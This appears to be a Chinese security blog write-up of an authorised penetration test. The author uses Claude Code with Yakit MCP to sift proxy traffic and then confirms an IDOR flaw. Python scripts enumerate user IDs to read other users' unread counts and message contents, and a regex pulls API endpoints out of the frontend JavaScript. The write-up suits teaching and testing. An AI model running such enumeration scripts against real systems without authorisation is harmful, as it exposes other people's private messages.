基于ClaudeCode+YakitMCP的IDOR越权漏洞挖掘实践"

admin 2026-10-24 12:27:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

基于Claude Code + Yakit MCP的IDOR越权漏洞挖掘实践

辛溯川
辛溯川

N0 Fl4g

2026年6月2日 09:08
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

在授权渗透测试中,面对大量代理流量,手工逐一排查效率较低。本文记录了笔者如何借助AI辅助工具提升流量分析效率,并在此基础上通过人工判断与深入验证,最终发现IDOR越权漏洞的完整过程。

免责声明
本文所涉及的渗透测试操作,均在甲方授权范围内进行,仅用于技术交流和学习,严禁用于未授权的非法测试!违规操作后果自负,与本文作者无关。本文章已对测试过程中出现的信息均进行脱密处理。

前情提要

本次渗透测试使用的工具链为 Claude Code + Yakit MCP + GLM 5.1模型。其中Claude Code与Yakit的安装配置可参考以下资料:Claude Code安装

https://mp.weixin.qq.com/s/AA2NHww4jUBuAfi10EYICwyakit安装 官网下载安装即可

https://yaklang.com/

GLM 5.1模型模型接入使用火山引擎的Coding Plan服务。

Claude Code连接Yakit MCP

MCP连接环节可根据个人习惯选择手工配置或借助AI辅助完成。

yakit是什么

Yakit 是一款国产 Web 安全测试平台,功能定位类似于 Burp Suite。其提供的 MCP(Model Context Protocol)接口,支持通过程序化方式调用HTTP请求发送能力:

Python脚本 → 连接 Yakit SSE (127.0.0.1:11432) → 调用 http_fuzzer → 发送 HTTPS 请求 → 获取响应

核心代码模板:

# 1. 连接 Yakit SSE 端点,获取会话ID
req = urllib.request.Request('http://127.0.0.1:11432/sse')
resp = urllib.request.urlopen(req, timeout=10)
forlineinresp:
    if'sessionId='inline:
        sid = line.split('sessionId=')[1]

# 2. 初始化 MCP 会话
urllib.request.urlopen(Request(url, data=初始化JSON))

# 3. 调用 http_fuzzer 发送请求
urllib.request.urlopen(Request(url, data={
    'name': 'http_fuzzer',
    'arguments': {
        'request': 'GET /api/xxx HTTP/1.1\
Host: target.com\
...',
        'isHttps': True
    }
}))

打开yakit mcp并进行连接

点击启用即可

在Claude Code中配置MCP连接信息。若使用的模型不支持自动连接,可手工编写连接脚本完成对接。

连接提示词参考:

我需要你连接yakit mcp 进行流量分析,已知yakit 使用SSE方式启动MCP,链接为http://127.0.0.1:11432/sse。请进行连接,遇到问题3次重复未能成功,请向我索取帮助,禁止自己无限尝试

MCP连接完成后,即可进入正式的渗透测试环节。

漏洞测试

首先,笔者对目标站点进行常规浏览操作,使Yakit代理捕获足够的流量数据,为后续分析奠定基础。

观察Yakit流量记录中的tag标签,发现大量待测试的标记项。考虑到手工逐一测试工作量较大且容易遗漏,笔者决定借助AI工具对标记流量进行批量初步筛查,再由人工对可疑结果进行逐项确认。

流量分析提示词参考:

调用query_http_flow工具分析app-*****.com这个域名tags提示,并根据提示给出测试建议,需要具体到数据包中构造的参数。

经AI辅助筛查后,初步发现若干未授权API接口漏洞,笔者逐一验证后完成提交。

随后,笔者使用甲方提供的账号凭证登录关联系统,携带认证Cookie继续深入测试,以期发现更多攻击面。

关于该系统的登录流程:用户需先通过门户网站登录,经中间中转站跳转至目标站点。笔者本计划对跳转流程进行安全审计,在AI辅助分析流量过程中发现中转站存在GraphQL内省模式开放问题,但该站点不在甲方测试范围内,故未作深入。

在审查AI返回的分析结果时,笔者注意到第三条漏洞信息提示\"用户消息未读数遍历\"。基于安全测试经验,笔者判断仅能获取未读数量这一结论值得怀疑——消息数量接口既然存在越权,消息内容接口很可能同样存在缺陷。据此,笔者决定对该方向进行深入验证。

验证结果表明,消息内容接口确实存在越权,可获取其他用户的具体消息信息。

漏洞确认后,笔者整理测试报告并完成提交。

分析链

以下详细阐述本次IDOR越权漏洞的发现与验证过程,展示从流量中发现线索到最终确认漏洞的完整分析链路。

第一步:从流量中发现线索

1.1 查询 Yakit 中的历史流量

获取目标后,首要工作是对Yakit中已记录的流量进行梳理。笔者调用 query_http_flow 接口,检索 worklist 域名的所有请求记录:

# 调用 Yakit MCP 查询流量
result = mcp_call('query_http_flow', {'keyword': 'worklist.xxxxx-bay.com', 'limit': 20})

返回结果中发现了一条关键流量:

GET /api/dtb-xxxxx/message/getUnReadTotalByReceiveId/xxxxxxxxxxxxxxxxxxx
Host: worklist.xxxxx-bay.com
Cookie: SESSION=xxxxxxxxxxxxxxxxxxx; ...

响应:
{\"code\":0,\"data\":3,\"message\":\"success\"}

解读: 该请求用于查询\"未读消息数量\"。URL中的 xxxxxxxxxxxxxxxxxxx 为用户ID(receiveId),响应 data:3 表示该用户有3条未读消息。

1.2 识别 IDOR 风险点

凭借安全测试经验,笔者对该接口进行了风险评估:

URL 中的 receiveId 直接作为路径参数传递,若服务端未校验\"当前登录用户是否为该receiveId对应的用户\",则存在IDOR越权漏洞。

类比说明: 类似于用他人的门卡号尝试开门锁——若门锁不验证\"该卡是否属于持卡人\",则任何人持任意卡号均可开门。


第二步:验证 IDOR 漏洞 - 枚举用户未读数

2.1 构造测试脚本

为验证上述判断,笔者编写测试脚本,将 receiveId 从1开始递增,验证是否可以读取其他用户的未读消息数量:

CK = 'SESSION=xxxxxxxxxxxxxxxxxxx'

foruidinrange(1, 50):
    # 构造HTTP请求包,把 receiveId 替换为 uid
    pkt = f'GET /api/dtb-xxxxx/message/getUnReadTotalByReceiveId/{uid} HTTP/1.1\
'\\
          f'Host: worklist.xxxxx-bay.com\
'\\
          f'Cookie: {CK}\
'\\
          f'Connection: close\
\
'
    result = single_fuzz(pkt)
    body = get_body(result.get('response',''))
    j = json.loads(body)
    ifj.get('code') == 0andj.get('data', 0) >0:
        print(f'User ID={uid}: {j[\"data\"]} unread')

2.2 测试结果

User ID=1: 4 unread
User ID=2: 17 unread
User ID=3: 9 unread
User ID=4: 14 unread
User ID=5: 13 unread
User ID=6: 6 unread
User ID=7: 11 unread
User ID=8: 33 unread
User ID=9: 1394 unread    ← 某业务部门,消息量巨大
User ID=10: 51 unread
...

关键发现: receiveId 1-49 中,有 15个 返回了非零数据。这证实了IDOR漏洞存在——使用测试账号的Cookie,成功读取了其他用户的未读消息数量。

但此时仅能获取未读数量,无法查看消息的具体内容。 基于渗透测试中\"从信息泄露点向纵深推进\"的思路,笔者决定进一步验证是否存在消息内容的越权读取。


第三步:从 JS 代码中寻找消息内容接口

3.1 获取前端 SPA 页面

worklist 是一个 Vue.js 单页应用,笔者首先获取其入口 HTML,以便分析前端代码中的API调用逻辑:

pkt = f'GET /xxxxx/ HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)
html = get_body(result.get('response',''))

在 HTML 中找到了关键 JS 文件:

<scriptsrc=\"/xxxxx/static/js/config.js\"></script>
<scriptsrc=\"/xxxxx/static/js/authing.min.js\"></script>
<scriptsrc=\"/xxxxx/static/js/sm2.js\"></script>
<scriptsrc=\"/xxxxx/chunk-vendors.1xx.js\"></script>
<scriptsrc=\"/xxxxx/app.1xx.js\"></script>  ← 主应用JS

解读:app.1xx.js 是整个Vue应用的主代码文件,包含所有页面逻辑和API调用代码。config.js 为配置文件,可能包含API前缀等关键信息。

3.2 分析 config.js 获取 API 前缀

pkt = f'GET /xxxxx/static/js/config.js HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Connection: close\
\
'
result = single_fuzz(pkt)

返回内容:

window.CMD_CONFIG= {
    root: '',
    prefix: '/api/dtb-xxxxx',           // ← API前缀
    loginPerfix: '/api/dtb-xxxxx-jwtauthcenter', // ← 认证中心
    deployDir: '/xxxxx/',
    feedbackUrl: '/api/dtb-xxxxx',
    orderDownload: '/api/dtb-xxxxx/orderFile/download/',
    scienceOrderDownload: '/api/dtb-xxxxx/science/orderFile/download/'
}

关键信息: 所有API请求均使用 /api/dtb-xxxxx 前缀,同时还暴露了文件下载路径和认证中心路径。

3.3 分析 app.js 提取完整 API 映射

app.js 体积超过1MB,笔者采用正则表达式提取其中的API端点映射:

pkt = f'GET /xxxxx/app.1xx.js HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)
body = get_body(result.get('response',''))

# 提取所有 API 端点映射:如 \"xxxxx-message-page\":\"/message/page\"
api_pairs = re.findall(r'\"(xxxxx-[a-zA-Z0-9_-]+)\"\\s*:\\s*\"(/[^\"]+)\"', body)

在 1xx 个 API 映射中,找到了关键的消息接口:

xxxxx-message-page                        → /message/page
xxxxx-message-getReceiveMessages          → /message/getReceiveMessages/{receiveId}  ← 关键目标
xxxxx-message-getUnReadTotalByReceiveId   → /message/getUnReadTotalByReceiveId/{receiveId}
xxxxx-message-setMessageReaded            → /message/setMessageReaded/{msgId}
xxxxx-message-batchSetMessageReaded       → /message/batchSetMessageReaded

关键发现:/message/getReceiveMessages/{receiveId} 端点的命名模式与 getUnReadTotalByReceiveId 完全一致——receiveId 作为路径参数,无额外权限校验参数。基于已验证的越权模式,笔者判断该接口大概率存在同样的IDOR漏洞。

3.4 分析 Vue 代码中的请求体格式

在 app.js 中还发现了Vue组件调用消息分页接口的代码:

// 压缩后的JS代码(已格式化)
getSensitiveFunc: function() {
    varn= {
        currentPage: this.currentPage,    // ← 注意:是 currentPage 不是 page
        pageSize: this.pageSize,           // ← 注意:是 pageSize 不是 size
        queryBean: {}                      // ← 查询条件放在 queryBean 里
    };
    o[\"a\"].$post(\"xxxxx-message-page\", n)  // 调用消息分页接口
}

解读: 前端代码揭示了该系统分页请求的标准格式为 {currentPage, pageSize, queryBean: {...}},而非常见的 {page, size}。这也解释了此前使用 {\"page\":1,\"size\":10} 调用 /message/page 接口始终返回\"暂无指定查询条件的数据\"的原因——字段名不匹配。


第四步:验证消息内容 IDOR

4.1 测试 getReceiveMessages 端点

获得关键端点 /message/getReceiveMessages/{receiveId} 后,笔者立即进行越权验证:

# 测试 receiveId=1
    pkt = f'GET /api/dtb-xxxxx/message/getReceiveMessages/1 HTTP/1.1\
'\\
      f'Host: worklist.xxxxx-bay.com\
'\\
      f'Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)

返回结果:

{
  \"code\": 0,
  \"data\": [
    {
      \"msgId\": 1xx,
      \"receiveId\": \"1\",
      \"receiveName\": \"[单位名称]\",
      \"msgContent\": \"[某人员]在[日期]创建的【[工单标题]】工单分派已经超时未处理,请及时督办。\",
      \"msgType\": \"[消息类型]\",
      \"isReceive\": false,
      \"createBy\": \"1xx\",
      \"createTime\": \"[创建时间]\"
    },
    ...
  ]
}

编辑 | 辛溯川

终审 | gosh

出品 | N0\_Fl4g

基于ClaudeCode+YakitMCP的IDOR越权漏洞挖掘实践" 网络安全文章

基于ClaudeCode+YakitMCP的IDOR越权漏洞挖掘实践"

本文记录作者在授权渗透测试中,利用ClaudeCode与YakitMCP工具链提升流量分析效率,通过AI辅助筛查标记流量,结合人工验证发现IDOR越权漏洞的完整过程。文章详细展示了从流量中发现线索、枚举用户未读数、分析JS代码提取API接口到最终确认消息内容越权的分析链路,并提供了可复用的提示词与测试脚本,对实战渗透测试具有较高参考价值。
从甲方安全到业务安全创业:这五年我学到的事" 网络安全文章

从甲方安全到业务安全创业:这五年我学到的事"

本文是作者从甲方安全到业务安全创业五年的复盘,核心观点包括:创业不是因为有把握成功而是算过失败也值得;安全终点是业务和数据;业务安全难点常在于组织归属;服务能活下来但需产品化;创业要活下来但不能只会活下来。作者强调看问题坐标系的变化,从专业判断转向商业现实。
向死而生:AI杀死了旧安全,我们来点燃新世界的链式反应" 网络安全文章

向死而生:AI杀死了旧安全,我们来点燃新世界的链式反应"

杭州链式反应科技有限公司正式成立,专注AI+进攻性安全赛道,推出衍迹自动化渗透系统,在多个真实场景中实现RCE与0day挖掘,验证AI对传统安全模式的降维打击。公司采用开源驱动增长模式,计划发起开源基金会,推动行业技术变革,并招募具备AINative思维与实战能力的工程师与商业化人才。
评论:0   参与:  0